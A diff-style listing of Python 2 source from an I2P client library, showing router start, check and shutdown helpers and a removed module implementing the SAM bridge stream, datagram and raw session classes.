router_config = 'router.config' # Router config filename
|
||||
|
||||
# True if our Python program started the router
|
||||
our_router = False
|
||||
our_router_lock = threading.Lock()
|
||||
|
||||
|
||||
def find(dir=None):
|
||||
"""Find the absolute path to a locally installed I2P router.
|
||||
|
||||
An I2P installation is located by looking in the
|
||||
the dir argument given to the function, then in the
|
||||
environment I2P, then in PATH. It looks for startRouter.sh
|
||||
or startRouter.bat. Raises ValueError if an I2P installation
|
||||
could not be located.
|
||||
"""
|
||||
sep = os.pathsep # Path separator
|
||||
L = []
|
||||
if dir != None and dir != '': L += dir.split(sep)
|
||||
if 'I2P' in os.environ: L += os.environ['I2P'].split(sep)
|
||||
if 'PATH' in os.environ: L += os.environ['PATH'].split(sep)
|
||||
for dirname in L:
|
||||
filename = os.path.join(dirname, 'startRouter.bat')
|
||||
if os.path.exists(filename):
|
||||
return dirname
|
||||
filename = os.path.join(dirname, 'startRouter.sh')
|
||||
if os.path.exists(filename):
|
||||
return dirname
|
||||
raise ValueError('I2P installation not found')
|
||||
|
||||
|
||||
def check(dir=None):
|
||||
"""Checks whether a locally installed router is running. Does
|
||||
nothing if successful, otherwise raises i2p.RouterError.
|
||||
|
||||
An I2P installation is located by using find(dir).
|
||||
The router.config file is parsed for 'router.adminPort'.
|
||||
This port is queried to determine whether the router is
|
||||
running.
|
||||
"""
|
||||
config = _parse_config(os.path.join(find(dir), router_config))
|
||||
port = config.get('router.adminPort', '')
|
||||
try:
|
||||
port = int(port)
|
||||
except:
|
||||
raise ValueError('router.adminPort missing or bad in ' +
|
||||
router_config)
|
||||
|
||||
try:
|
||||
s = pysocket.socket(pysocket.AF_INET, pysocket.SOCK_STREAM)
|
||||
s.connect(('127.0.0.1', port))
|
||||
s.close()
|
||||
except pysocket.error:
|
||||
raise i2p.RouterError('could not contact 127.0.0.1:' + str(port))
|
||||
|
||||
def _run_program(filename):
|
||||
"""Runs the given program in a new process and new terminal."""
|
||||
if sys.platform[:3] == 'win':
|
||||
os.startfile(filename)
|
||||
global our_router
|
||||
our_router = True
|
||||
else:
|
||||
# Linux possibilities:
|
||||
# sh -c command
|
||||
# xterm -e command
|
||||
# bash -c command
|
||||
# Try os.spawnl() with the above.
|
||||
raise ValueError('unimplemented')
|
||||
|
||||
def start(dir=None, hidden=False):
|
||||
"""Start a locally installed I2P router. Does nothing if
|
||||
the router has already been started.
|
||||
|
||||
An I2P installation is located by using find(dir).
|
||||
|
||||
If hidden is True, do not show a terminal for the router.
|
||||
"""
|
||||
routerdir = find(dir)
|
||||
router = os.path.join(routerdir, 'startRouter.bat')
|
||||
try:
|
||||
check(dir)
|
||||
return # Already running
|
||||
except:
|
||||
pass # Not yet running
|
||||
|
||||
olddir = os.getcwd()
|
||||
|
||||
if hidden:
|
||||
raise ValueError('unimplemented')
|
||||
|
||||
our_router_lock.acquire()
|
||||
try:
|
||||
os.chdir(routerdir)
|
||||
try:
|
||||
_run_program(router)
|
||||
finally:
|
||||
os.chdir(olddir)
|
||||
finally:
|
||||
our_router_lock.release()
|
||||
|
||||
# Ideas for hidden=True:
|
||||
# Parse startRouter.bat, and run same command with javaw
|
||||
# on Windows to hide command box.
|
||||
# Perhaps use javaw (?) or javaws (j2sdk1.4.2/jre/javaws/javaws)
|
||||
# Perhaps /path-to/program 2>/dev/null 1>/dev/null&
|
||||
|
||||
def _parse_config(filename):
|
||||
"""Return a dict with (name, value) items for the given I2P configuration file."""
|
||||
f = open(filename, 'r')
|
||||
s = f.read()
|
||||
f.close()
|
||||
ans = {}
|
||||
for line in s.split('\n'):
|
||||
line = line.strip()
|
||||
if '#' in line: line = line[:line.find('#')]
|
||||
pair = line.split('=')
|
||||
if len(pair) == 2:
|
||||
ans[pair[0].strip()] = pair[1].strip()
|
||||
return ans
|
||||
|
||||
def stop(dir=None, force=False):
|
||||
"""Stop a locally installed I2P router, if it was started by
|
||||
the current Python program. If force is True, stop the
|
||||
router even if it was started by another process. Do nothing
|
||||
if force is False and the router was started by another program.
|
||||
|
||||
The file 'router.config' is located using the same search
|
||||
process used for find(dir). It is parsed for
|
||||
'router.shutdownPassword' and 'router.adminPort'. The
|
||||
router is shut down through the admin port.
|
||||
|
||||
Raises i2p.RouterError if the I2P router is running but cannot
|
||||
be stopped. You must uncomment the
|
||||
'router.shutdownPassword' line for this command to work.
|
||||
"""
|
||||
if force == False and our_router == False:
|
||||
return
|
||||
|
||||
config = _parse_config(os.path.join(find(dir), router_config))
|
||||
|
||||
password = config.get('router.shutdownPassword', '')
|
||||
if password == '':
|
||||
raise ValueError('router.shutdownPassword not found in ' +
|
||||
router_config)
|
||||
admin_port = config.get('router.adminPort', '')
|
||||
if admin_port == '':
|
||||
raise ValueError('router.adminPort not found in ' + router_config)
|
||||
|
||||
try:
|
||||
admin_port = int(admin_port)
|
||||
except:
|
||||
raise ValueError('invalid router.adminPort in ' + router_config)
|
||||
|
||||
try:
|
||||
sock = pysocket.socket(pysocket.AF_INET, pysocket.SOCK_STREAM)
|
||||
sock.connect(('127.0.0.1', admin_port))
|
||||
sock.send('GET /shutdown?password=' + password + ' HTTP/1.0\r\n\r\n')
|
||||
time.sleep(0.01)
|
||||
sock.close()
|
||||
except:
|
||||
raise i2p.RouterError('router shutdown failed')
|
||||
|
||||
# Assume shutdown succeeded (it will take 30 seconds).
|
@ -1,773 +0,0 @@
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# samclasses.py: Lower-level SAM classes, for internal use.
|
||||
# -------------------------------------------------------------
|
||||
|
||||
"""
|
||||
Lower-level SAM API, interfaces with SAM Bridge.
|
||||
|
||||
For internal use only.
|
||||
|
||||
Use the higher level i2p.socket module for your own programs.
|
||||
|
||||
For details on SAM, see "Simple Anonymous Messaging (SAM) v1.0,"
|
||||
as published by jrandom.
|
||||
|
||||
Class Overview:
|
||||
|
||||
- SAMTerminal: Message sender/reader, talks to SAM Bridge.
|
||||
- StringBuffer: Queue for character data.
|
||||
- BaseSession: SAM session classes are derived from this.
|
||||
- StreamSession: SAM stream session class, threadsafe, high level.
|
||||
- DatagramSession: SAM datagram session, threadsafe, high level.
|
||||
- RawSession: SAM raw session, threadsafe, high level.
|
||||
|
||||
Note that a 'None' timeout is an infinite timeout: it
|
||||
blocks forever if necessary.
|
||||
|
||||
Todo:
|
||||
- Error handling is a huge mess. Neaten it up.
|
||||
Subclass a ErrorMixin class, then use set_error(e),
|
||||
check_error(), get_error().
|
||||
- Streams are a huge mess. Neaten them up.
|
||||
- This whole interface is a tad confusing. Neaten it up.
|
||||
"""
|
||||
|
||||
# ---------------------------------------------------------
|
||||
# Imports
|
||||
# ---------------------------------------------------------
|
||||
|
||||
import Queue, traceback, random, sys, shlex
|
||||
import thread, threading, time, string
|
||||
|
||||
# ---------------------------------------------------------
|
||||
# Import i2p and i2p.socket (for defaults and errors)
|
||||
# ---------------------------------------------------------
|
||||
|
||||
import i2p
|
||||
import i2p.socket
|
||||
from i2p.pylib import socket as pysocket # Import Python socket
|
||||
|
||||
# ---------------------------------------------------------
|
||||
# Functions
|
||||
# ---------------------------------------------------------
|
||||
|
||||
def sleep(): time.sleep(0.01) # Sleep between thread polls
|
||||
def timer(): return time.time() # High resolution timer
|
||||
# Do NOT use time.clock() as it
|
||||
# drops sleep() time on Linux.
|
||||
|
||||
log = False # Logging flag. Logs to ./log.txt.
|
||||
|
||||
# -----------------------------------------------------
|
||||
# SAMTerminal
|
||||
# -----------------------------------------------------
|
||||
|
||||
class SAMTerminal:
|
||||
"""Message-by-message communication with SAM through a single
|
||||
pysocket. _on_* messages are dispatched to msgobj."""
|
||||
|
||||
def __init__(self, addr, msgobj):
|
||||
try: self.host, self.port = addr.split(':')
|
||||
except: raise ValueError('sam port required')
|
||||
self.port = int(self.port)
|
||||
self.sock=pysocket.socket(pysocket.AF_INET,pysocket.SOCK_STREAM)
|
||||
self.msgobj = msgobj
|
||||
try:
|
||||
self.sock.connect((self.host, self.port))
|
||||
except:
|
||||
raise i2p.RouterError('could not contact SAM bridge on ' +
|
||||
self.host + ':' + str(self.port))
|
||||
thread.start_new_thread(self._poll_loop, ())
|
||||
self.error = None
|
||||
self.lost_error = i2p.RouterError('SAM bridge connection lost')
|
||||
|
||||
def _poll_loop(self):
|
||||
"""Polling loop for incoming messages."""
|
||||
try:
|
||||
while True:
|
||||
# Read until newline
|
||||
line = []
|
||||
while True:
|
||||
try: c = self.sock.recv(1)
|
||||
except pysocket.error, ex: self.error = self.lost_error
|
||||
if c == '': self.error = self.lost_error
|
||||
if self.error != None: return
|
||||
if c == '\n': break
|
||||
if c != '': line += [c]
|
||||
line = ''.join(line)
|
||||
if log:
|
||||
logf = open('log.txt', 'a')
|
||||
logf.write('\n' + line + '\n')
|
||||
logf.close()
|
||||
(msg, kwargs) = self._samdecode(line)
|
||||
# Read N bytes if SIZE=N is present.
|
||||
if 'SIZE' in kwargs:
|
||||
data = []
|
||||
remain = int(kwargs['SIZE'])
|
||||
while True:
|
||||
try: s = self.sock.recv(remain)
|
||||
except pysocket.error, ex: self.error = self.lost_error
|
||||
if s == '': self.error = self.lost_error
|
||||
if self.error != None: return
|
||||
if s != '': data += [s]
|
||||
remain -= len(s)
|
||||
if remain <= 0: break
|
||||
data = ''.join(data)
|
||||
# Store the read data in kwargs['DATA'].
|
||||
kwargs['DATA'] = data
|
||||
del kwargs['SIZE']
|
||||
# Dispatch the message
|
||||
try: self.on_message(msg, kwargs)
|
||||
except Exception, e:
|
||||
# On exception in on_message, print a warning, keep going.
|
||||
print 'Unhandled exception in polling thread.'
|
||||
traceback.print_exc()
|
||||
|
||||
# Don't need to sleep since recv() blocks.
|
||||
# End of while loop
|
||||
except Exception, e:
|
||||
# For other exceptions, print a fatal error and stop polling.
|
||||
print 'Fatal exception in polling thread'
|
||||
traceback.print_exc(); sys.exit()
|
||||
|
||||
def _samdecode(self, s):
|
||||
"""Given a SAM command, returns (a, b), where a is the string at
|
||||
the beginning of the command, and b is a dictionary of name,
|
||||
value pairs for the command."""
|
||||
(args, kwargs) = ([], {})
|
||||
for w in shlex.split(s):
|
||||
if '=' in w: kwargs[w.split('=')[0]] = w.split('=')[1]
|
||||
else: args += [w]
|
||||
return (' '.join(args), kwargs)
|
||||
|
||||
def check_message(self, kwargs):
|
||||
"""Raises an error if kwargs['RESULT'] != 'OK'."""
|
||||
if not kwargs.get('RESULT', '') in ['OK', '']:
|
||||
raise i2p.socket.NetworkError((kwargs['RESULT'],
|
||||
kwargs.get('MESSAGE', '')))
|
||||
|
||||
def on_message(self, msg, kwargs):
|
||||
"""Process a SAM message that was received. Dispatch to
|
||||
self._on_MESSAGE_NAME(**kwargs)."""
|
||||
name = '_on_' + msg.upper().replace(' ', '_')
|
||||
getattr(self.msgobj, name)(**kwargs)
|
||||
|
||||
def send_message(self, msg):
|
||||
"""Send a message to the SAM bridge. A newline will be
|
||||
automatically added if none is present."""
|
||||
self.check()
|
||||
if not '\n' in msg: msg = msg + '\n'
|
||||
if log:
|
||||
logf = open('log.txt', 'a')
|
||||
logf.write('\n' + msg)
|
||||
logf.close()
|
||||
try: self.sock.sendall(msg)
|
||||
except pysocket.error: self.error = self.lost_error
|
||||
self.check()
|
||||
|
||||
def check(self):
|
||||
"""Raise an error if terminal was closed, otherwise do
|
||||
nothing."""
|
||||
if self.error != None: raise self.error
|
||||
|
||||
def close(self):
|
||||
"""Close the SAM terminal."""
|
||||
# If data is sent via STREAM SEND, and the socket is closed
|
||||
# immediately, the data will be lost. Delay 0.01 s to fix this
|
||||
# bug (tested Windows, Linux).
|
||||
time.sleep(0.01)
|
||||
self.error = i2p.socket.ClosedError()
|
||||
self.sock.close()
|
||||
|
||||
def queue_get(self, q):
|
||||
"""Identical to q.get() unless a call to self.check() fails,
|
||||
in which case the waiting is cut short with an error."""
|
||||
while True:
|
||||
try: return q.get_nowait()
|
||||
except Queue.Empty: pass
|
||||
self.check()
|
||||
sleep()
|
||||
|
||||
|
||||
# -------------------------------------------------------
|
||||
# StringBuffer: A FIFO for string data.
|
||||
# -------------------------------------------------------
|
||||
|
||||
class Deque:
|
||||
"""A double-ended queue."""
|
||||
def __init__(self):
|
||||
self.a = []
|
||||
self.b = []
|
||||
def push_last(self, obj):
|
||||
"""Append obj to the end of the deque."""
|
||||
self.b.append(obj)
|
||||
def push_first(self, obj):
|
||||
"""Prepend obj to the beginning of the deque."""
|
||||
self.a.append(obj)
|
||||
def _partition(self):
|
||||
if len(self) > 1:
|
||||
self.a.reverse()
|
||||
all = self.a + self.b
|
||||
n = len(all) / 2
|
||||
self.a = all[:n]
|
||||
self.b = all[n:]
|
||||
self.a.reverse()
|
||||
def pop_last(self):
|
||||
"""Pop an item off the end of the deque, and return it."""
|
||||
if not self.b: self._partition()
|
||||
try: return self.b.pop()
|
||||
except: return self.a.pop()
|
||||
def pop_first(self):
|
||||
"""Pop an item off the beginning of the deque, and return it."""
|
||||
if not self.a: self._partition()
|
||||
try: return self.a.pop()
|
||||
except: return self.b.pop()
|
||||
def __len__(self):
|
||||
"""Number of items in the deque."""
|
||||
return len(self.b) + len(self.a)
|
||||
|
||||
class StringBuffer(Deque):
|
||||
"""A FIFO for characters. Strings can be efficiently
|
||||
appended to the end, and read from the beginning.
|
||||
|
||||
Example:
|
||||
>>> B = StringBuffer('Hello W')
|
||||
>>> B.append('orld!')
|
||||
>>> B.read(5)
|
||||
'Hello'
|
||||
>>> B.read()
|
||||
'World!'
|
||||
"""
|
||||
def __init__(self, s=''):
|
||||
Deque.__init__(self)
|
||||
self.length = 0
|
||||
self.append(s)
|
||||
def append(self, s):
|
||||
"""Append string data to the end of the buffer."""
|
||||
n = 128
|
||||
for block in [s[i:i+n] for i in range(0,len(s),n)]:
|
||||
self.push_last(block)
|
||||
self.length += len(s)
|
||||
def prepend(self, s):
|
||||
"""Prepend string data to the beginning of the buffer."""
|
||||
n = 128
|
||||
blocks = [s[i:i+n] for i in range(0,len(s),n)]
|
||||
blocks.reverse()
|
||||
for block in blocks:
|
||||
self.push_first(block)
|
||||
self.length += len(s)
|
||||
def read(self, n=None):
|
||||
"""Read n bytes of data (or less if less data available) from the
|
||||
beginning of the buffer. The data is removed. If n is
|
||||
omitted, read the entire buffer."""
|
||||
if n == None or n > len(self): n = len(self)
|
||||
destlen = len(self) - n
|
||||
ans = []
|
||||
while len(self) > destlen:
|
||||
ans += [self.pop_first()]
|
||||
self.length -= len(ans[-1])
|
||||
ans = ''.join(ans)
|
||||
self.prepend(ans[n:])
|
||||
ans = ans[:n]
|
||||
return ans
|
||||
def peek(self, n=None):
|
||||
"""Like read(), but do not remove the data that is returned."""
|
||||
ans = self.read(n)
|
||||
self.prepend(ans)
|
||||
return ans
|
||||
def __len__(self): return self.length
|
||||
def __str__(self): return self.peek()
|
||||
def __repr__(self): return 'StringBuffer(' + str(self) + ')'
|
||||
|
||||
# -----------------------------------------------------
|
||||
# BaseSession
|
||||
# -----------------------------------------------------
|
||||
|
||||
class BaseSession:
|
||||
"""Base session, from which StreamSession, DatagramSession,
|
||||
and RawSession are derived."""
|
||||
|
||||
def __init__(self, addr=''):
|
||||
if addr == '': addr = i2p.socket.samaddr
|
||||
self.term = SAMTerminal(addr=addr, msgobj=self)
|
||||
self.lock = threading.Lock() # Data lock.
|
||||
self.closed = False
|
||||
self.qhello = Queue.Queue() # Thread messaging, HELLO REPLY.
|
||||
self.qnaming = Queue.Queue() # Thread messaging, NAMING REPLY.
|
||||
self.qsession = Queue.Queue() # Thread messaging, SESSION STATUS.
|
||||
self._hello() # Do handshake with SAM bridge.
|
||||
|
||||
def _hello(self):
|
||||
"""Internal command, handshake with SAM terminal."""
|
||||
self.term.send_message('HELLO VERSION MIN=' +
|
||||
str(i2p.socket.samver) + ' MAX=' + str(i2p.socket.samver))
|
||||
self.term.check_message(self.term.queue_get(self.qhello))
|
||||
|
||||
def _on_HELLO_REPLY(self, **kwargs):
|
||||
"""Internal command, got HELLO REPLY."""
|
||||
self.qhello.put(kwargs) # Pass kwargs back to _hello.
|
||||
|
||||
def _on_SESSION_STATUS(self, **kwargs):
|
||||
"""Internal command, got SESSION STATUS."""
|
||||
self.qsession.put(kwargs) # Pass kwargs back to main thread.
|
||||
|
||||
def _namelookup(self, name):
|
||||
"""Internal command, does a NAMING LOOKUP query."""
|
||||
self.term.send_message('NAMING LOOKUP NAME=' + name)
|
||||
# Read back response, check it, and return X in VALUE=X.
|
||||
kwargs = self.term.queue_get(self.qnaming)
|
||||
self.term.check_message(kwargs)
|
||||
return kwargs['VALUE']
|
||||
|
||||
def _on_NAMING_REPLY(self, **kwargs):
|
||||
"""Internal command, got NAMING REPLY."""
|
||||
self.qnaming.put(kwargs) # Pass kwargs back to _namelookup.
|
||||
|
||||
def _set_properties(self):
|
||||
"""Internal command, call at end of __init__ to set up
|
||||
properties."""
|
||||
self.dest = self._namelookup('ME')
|
||||
|
||||
def close(self):
|
||||
"""Close the session."""
|
||||
# Synchronize
|
||||
self.lock.acquire()
|
||||
try:
|
||||
# Close the terminal if we're not already closed.
|
||||
if not self.closed: self.term.close()
|
||||
self.closed = True
|
||||
finally: self.lock.release()
|
||||
|
||||
def _encode_kwargs(self, **kwargs):
|
||||
"""Internal command, encode extra kwargs for passing to
|
||||
SESSION CREATE."""
|
||||
ans = ''
|
||||
for k in kwargs:
|
||||
if k == 'in_depth':
|
||||
ans += ' tunnels.depthInbound=' + \
|
||||
str(int(kwargs['in_depth']))
|
||||
elif k == 'out_depth':
|
||||
ans += ' tunnels.depthOutbound=' + \
|
||||
str(int(kwargs['out_depth']))
|
||||
else:
|
||||
raise ValueError('unexpected keyword argument ' + repr(k))
|
||||
return ans
|
||||
|
||||
# -----------------------------------------------------
|
||||
# StreamSession
|
||||
# -----------------------------------------------------
|
||||
|
||||
class StreamSession(BaseSession):
|
||||
"""Stream session. All methods are blocking and threadsafe."""
|
||||
|
||||
def __init__(self, name, addr='', **kwargs):
|
||||
if addr == '': addr = i2p.socket.samaddr
|
||||
BaseSession.__init__(self, addr)
|
||||
self.idmap = {} # Maps id to Stream object.
|
||||
self.qaccept = Queue.Queue() # Thread messaging, accept.
|
||||
self.name = name
|
||||
self.max_accept = 0 # Max queued incoming connections.
|
||||
|
||||
# Create stream session.
|
||||
if name == '':
|
||||
name = 'TRANSIENT'
|
||||
|
||||
# DIRECTION=BOTH (the default) is used because we can't know in
|
||||
# advance whether a session will call listen().
|
||||
|
||||
self.term.send_message('SESSION CREATE STYLE=STREAM' +
|
||||
' DESTINATION=' + name + self._encode_kwargs(**kwargs))
|
||||
self.term.check_message(self.term.queue_get(self.qsession))
|
||||
|
||||
self._set_properties()
|
||||
|
||||
def connect(self, dest, timeout=None):
|
||||
"""Create a stream connected to remote destination 'dest'. The
|
||||
id is random. If the timeout is exceeded, do NOT raise an
|
||||
error; rather, return a Stream object with .didconnect set
|
||||
to False."""
|
||||
if not isinstance(dest, type('')): raise TypeError
|
||||
# Synchronize
|
||||
self.lock.acquire()
|
||||
try:
|
||||
# Pick a positive stream id at random.
|
||||
while True:
|
||||
# 9/10 probability of success per iteration
|
||||
id = random.randrange(1, len(self.idmap) * 10 + 2)
|
||||
if not id in self.idmap:
|
||||
ans = Stream(self, dest, id, didconnect=False)
|
||||
self.idmap[id] = ans
|
||||
break
|
||||
finally: self.lock.release()
|
||||
# Send STREAM CONNECT and wait for reply.
|
||||
self.term.send_message('STREAM CONNECT ID=' + str(id) +
|
||||
' DESTINATION=' + str(dest))
|
||||
|
||||
# Now wait until the stream's .didconnect flag is set to True.
|
||||
if timeout != None: end = timer() + timeout
|
||||
while True:
|
||||
self.term.check()
|
||||
if ans.didconnect: break
|
||||
if timeout != None and timer() >= end: break
|
||||
sleep()
|
||||
|
||||
return ans
|
||||
|
||||
def _on_STREAM_STATUS(self, **kwargs):
|
||||
"""Internal command, got STREAM STATUS. Unblocks connect."""
|
||||
# Store error is needed
|
||||
try: self.term.check_message(kwargs)
|
||||
except Exception, e:
|
||||
try: self.idmap[int(kwargs['ID'])].err = e
|
||||
except: pass # Closed too quickly
|
||||
|
||||
# Now set .didconnect flag to True.
|
||||
try: self.idmap[int(kwargs['ID'])].didconnect = True
|
||||
except: pass # Closed too quickly
|
||||
|
||||
def accept(self, timeout=None):
|
||||
"""Wait for incoming connection, and return a Stream object
|
||||
for it."""
|
||||
if self.max_accept <= 0:
|
||||
raise i2p.Error('listen(n) must be called before accept ' +
|
||||
'(n>=1)')
|
||||
if timeout != None: end = timer() + timeout
|
||||
while True:
|
||||
self.term.check()
|
||||
# Synchronized
|
||||
self.lock.acquire()
|
||||
try:
|
||||
# Get Stream object if available.
|
||||
if self.qaccept.qsize() > 0:
|
||||
return self.term.queue_get(self.qaccept)
|
||||
finally: self.lock.release()
|
||||
if timeout != None and timer() >= end: break
|
||||
sleep()
|
||||
|
||||
# Handle timeout and blocking errors
|
||||
if timeout == 0.0:
|
||||
raise i2p.socket.BlockError('command would have blocked')
|
||||
else:
|
||||
raise i2p.socket.Timeout('timed out')
|
||||
|
||||
def listen(self, backlog):
|
||||
"""Set maximum number of queued connections."""
|
||||
if self.closed: raise sam.ClosedError()
|
||||
self.max_accept = backlog
|
||||
|
||||
def _on_STREAM_CONNECTED(self, **kwargs):
|
||||
"""Got STREAM CONNECTED command. This is what accept() commands
|
||||
wait for."""
|
||||
# Synchronize
|
||||
self.lock.acquire()
|
||||
try:
|
||||
# Drop connection if over maximum size.
|
||||
if self.qaccept.qsize() >= self.max_accept:
|
||||
self.term.send_message('STREAM CLOSE ID=' +
|
||||
str(int(kwargs['ID'])))
|
||||
return
|
||||
|
||||
# Parse, create Stream, and place on self.qaccept.
|
||||
self.term.check_message(kwargs)
|
||||
# A negative id is chosen for us
|
||||
id = int(kwargs['ID'])
|
||||
self.idmap[id] = Stream(self, kwargs['DESTINATION'], id)
|
||||
# Pass Stream object back to accept.
|
||||
self.qaccept.put(self.idmap[id])
|
||||
finally: self.lock.release()
|
||||
|
||||
def _send_stream(self, id, data):
|
||||
"""Internal command, send data to stream id. Use Stream.send
|
||||
in your code."""
|
||||
self.term.send_message('STREAM SEND ID=' + str(id) + ' SIZE=' +
|
||||
str(len(data)) + '\n' + data)
|
||||
|
||||
def _on_STREAM_CLOSED(self, **kwargs):
|
||||
"""Got STREAM CLOSED command. Call idmap[id].on_close(e) and
|
||||
delete idmap[id]."""
|
||||
id = int(kwargs['ID'])
|
||||
|
||||
# No error is produced for a graceful remote close.
|
||||
e = None
|
||||
try: self.term.check_message(kwargs)
|
||||
except i2p.Error, err: e = err
|
||||
|
||||
# Synchronize
|
||||
self.lock.acquire()
|
||||
try:
|
||||
# Sent STREAM CLOSE, SAM didn't hear us in time.
|
||||
if not id in self.idmap: return
|
||||
# Pop id from self.idmap, if available.
|
||||
obj = self.idmap[id]
|
||||
del self.idmap[id]
|
||||
finally: self.lock.release()
|
||||
|
||||
# Process on_close message.
|
||||
obj.on_close(None)
|
||||
|
||||
def _on_STREAM_RECEIVED(self, **kwargs):
|
||||
"""Got STREAM RECEIVED command. Dispatch to
|
||||
idmap[id].on_receive(s)."""
|
||||
id = int(kwargs['ID'])
|
||||
if not id in self.idmap:
|
||||
# _on_STREAM_CONNECTED blocks until self.idmap[id] is properly
|
||||
# set up. Therefore, we have received a stream packet despite
|
||||
# closing the stream immediately after _on_STREAM_CONNECTED
|
||||
# (SAM ignored us). So ignore it.
|
||||
return
|
||||
self.idmap[id].on_receive(kwargs['DATA'])
|
||||
|
||||
def __len__(self):
|
||||
"""Unconnected session; has no read data available."""
|
||||
return 0
|
||||
|
||||
|
||||
class Stream:
|
||||
"""Receives and sends data for an individual stream."""
|
||||
|
||||
def __init__(self, parent, remotedest, id, didconnect=True):
|
||||
self.parent = parent
|
||||
self.buf = StringBuffer()
|
||||
self.localdest = parent.dest
|
||||
self.remotedest = remotedest
|
||||
self.id = id
|
||||
# Data lock. Allow multiple acquire()s by same thread
|
||||
self.lock = threading.RLock()
|
||||
self.closed = False
|
||||
# Error message, on STREAM STATUS, or on STREAM CLOSED.
|
||||
self.err = None
|
||||
# Whether stream got a STREAM CONNECTED message
|
||||
self.didconnect = didconnect
|
||||
|
||||
def send(self, s):
|
||||
"""Sends the string s, blocking if necessary."""
|
||||
id = self.id
|
||||
if self.closed or id == None:
|
||||
if self.err != None: raise self.err
|
||||
raise i2p.socket.ClosedError('stream closed')
|
||||
if len(s) == 0: return
|
||||
nmax = 32768
|
||||
for block in [s[i:i+nmax] for i in range(0,len(s),nmax)]:
|
||||
self.parent._send_stream(id, block)
|
||||
|
||||
def recv(self, n, timeout=None, peek=False, waitall=False):
|
||||
"""Reads up to n bytes in a manner identical to socket.recv.
|
||||
Blocks for up to timeout seconds if n > 0 and no data is
|
||||
available (timeout=None means wait forever). If still no data
|
||||
is available, raises BlockError or Timeout. For a closed
|
||||
stream, recv will read the data stored in the buffer until
|
||||
EOF, at which point the read data will be truncated. If peek
|
||||
is True, the data is not removed. If waitall is True, reads
|
||||
exactly n bytes, or raises BlockError or Timeout as
|
||||
appropriate. Returns data."""
|
||||
|
||||
if n < 0: raise ValueError
|
||||
if n == 0: return ''
|
||||
|
||||
minlen = 1
|
||||
if waitall: minlen = n
|
||||
|
||||
if timeout != None: end = timer() + timeout
|
||||
while True:
|
||||
# Synchronized check and read until data available.
|
||||
self.parent.term.check()
|
||||
self.lock.acquire()
|
||||
try:
|
||||
if len(self.buf) >= minlen:
|
||||
if peek: return self.buf.peek(n)
|
||||
else: return self.buf.read(n)
|
||||
# Graceful close: return as much data as possible
|
||||
# (up to n bytes).
|
||||
if self.closed and self.err == None: return self.buf.read(n)
|
||||
# Ungraceful close: raise an error.
|
||||
if self.err != None: raise self.err
|
||||
finally: self.lock.release()
|
||||
if timeout != None and timer() >= end: break
|
||||
sleep()
|
||||
|
||||
# Handle timeout and blocking error
|
||||
if timeout == 0.0:
|
||||
raise i2p.socket.BlockError('command would have blocked')
|
||||
else:
|
||||
raise i2p.socket.Timeout('timed out')
|
||||
|
||||
def __len__(self):
|
||||
"""Current length of read buffer."""
|
||||
return len(self.buf)
|
||||
|
||||
def close(self):
|
||||
"""Close the stream. Threadsafe."""
|
||||
# Synchronize self.parent.
|
||||
self.parent.lock.acquire()
|
||||
try:
|
||||
if not self.closed:
|
||||
self.closed = True
|
||||
id = self.id
|
||||
# Set self.id to None, so we don't close a new stream by
|
||||
# accident.
|
||||
self.id = None
|
||||
if not id in self.parent.idmap: return
|
||||
self.parent.term.send_message('STREAM CLOSE ID=' + str(id))
|
||||
# No error is produced for a locally closed stream
|
||||
self.on_close(None)
|
||||
del self.parent.idmap[id]
|
||||
finally: self.parent.lock.release()
|
||||
|
||||
def on_receive(self, s):
|
||||
# Synchronize
|
||||
self.lock.acquire()
|
||||
try:
|
||||
self.buf.append(s)
|
||||
finally: self.lock.release()
|
||||
|
||||
def on_close(self, e):
|
||||
self.closed = True
|
||||
self.err = e
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
# -----------------------------------------------------
|
||||
# DatagramSession
|
||||
# -----------------------------------------------------
|
||||
|
||||
class DatagramSession(BaseSession):
|
||||
"""Datagram session. All methods are blocking and threadsafe."""
|
||||
|
||||
def __init__(self, name, addr='', **kwargs):
|
||||
if addr == '': addr = i2p.socket.samaddr
|
||||
BaseSession.__init__(self, addr)
|
||||
self.buf = Deque() # FIFO of incoming packets.
|
||||
self.name = name
|
||||
|
||||
# Create datagram session
|
||||
if name == '': name = 'TRANSIENT'
|
||||
self.term.send_message('SESSION CREATE STYLE=DATAGRAM ' +
|
||||
'DESTINATION=' + name + self._encode_kwargs(**kwargs))
|
||||
self.term.check_message(self.term.queue_get(self.qsession))
|
||||
|
||||
self._set_properties()
|
||||
|
||||
def _on_DATAGRAM_RECEIVED(self, **kwargs):
|
||||
"""Internal method, got DATAGRAM RECEIVED."""
|
||||
# Synchronized
|
||||
self.lock.acquire()
|
||||
try:
|
||||
self.buf.push_last((kwargs['DATA'], kwargs['DESTINATION']))
|
||||
finally: self.lock.release()
|
||||
|
||||
def send(self, s, dest):
|
||||
"""Send packet with contents s to given destination."""
|
||||
# Raise error if packet is too large.
|
||||
if len(s) > i2p.socket.MAX_DGRAM:
|
||||
raise ValueError('packets must have length <= ' +
|
||||
str(i2p.socket.MAX_DGRAM) + ' bytes')
|
||||
self.term.send_message('DATAGRAM SEND DESTINATION=' + dest +
|
||||
' SIZE=' + str(len(s)) + '\n' + s)
|
||||
|
||||
def recv(self, timeout=None, peek=False):
|
||||
"""Get a single packet. Blocks for up to timeout seconds if
|
||||
n > 0 and no packet is available (timeout=None means wait
|
||||
forever). If still no packet is available, raises BlockError
|
||||
or Timeout. Returns the pair (data, address). If peek is
|
||||
True, the data is not removed."""
|
||||
if timeout != None: end = timer() + timeout
|
||||
while True:
|
||||
self.term.check()
|
||||
# Synchronized check and read until data available.
|
||||
self.lock.acquire()
|
||||
try:
|
||||
if len(self.buf) > 0:
|
||||
if peek:
|
||||
ans = self.buf.pop_first()
|
||||
self.buf.push_first(ans)
|
||||
return ans
|
||||
else:
|
||||
return self.buf.pop_first()
|
||||
finally: self.lock.release()
|
||||
if timeout != None and timer() >= end: break
|
||||
sleep()
|
||||
|
||||
# Handle timeout and blocking error
|
||||
if timeout == 0.0:
|
||||
raise i2p.socket.BlockError('command would have blocked')
|
||||
else:
|
||||
raise i2p.socket.Timeout('timed out')
|
||||
|
||||
def __len__(self):
|
||||
"""Number of packets in read buffer."""
|
||||
return len(self.buf)
|
||||
|
||||
# -----------------------------------------------------
|
||||
# RawSession
|
||||
# -----------------------------------------------------
|
||||
|
||||
class RawSession(BaseSession):
|
||||
"""Raw session. All methods are blocking and threadsafe."""
|
||||
|
||||
def __init__(self, name, addr='', **kwargs):
|
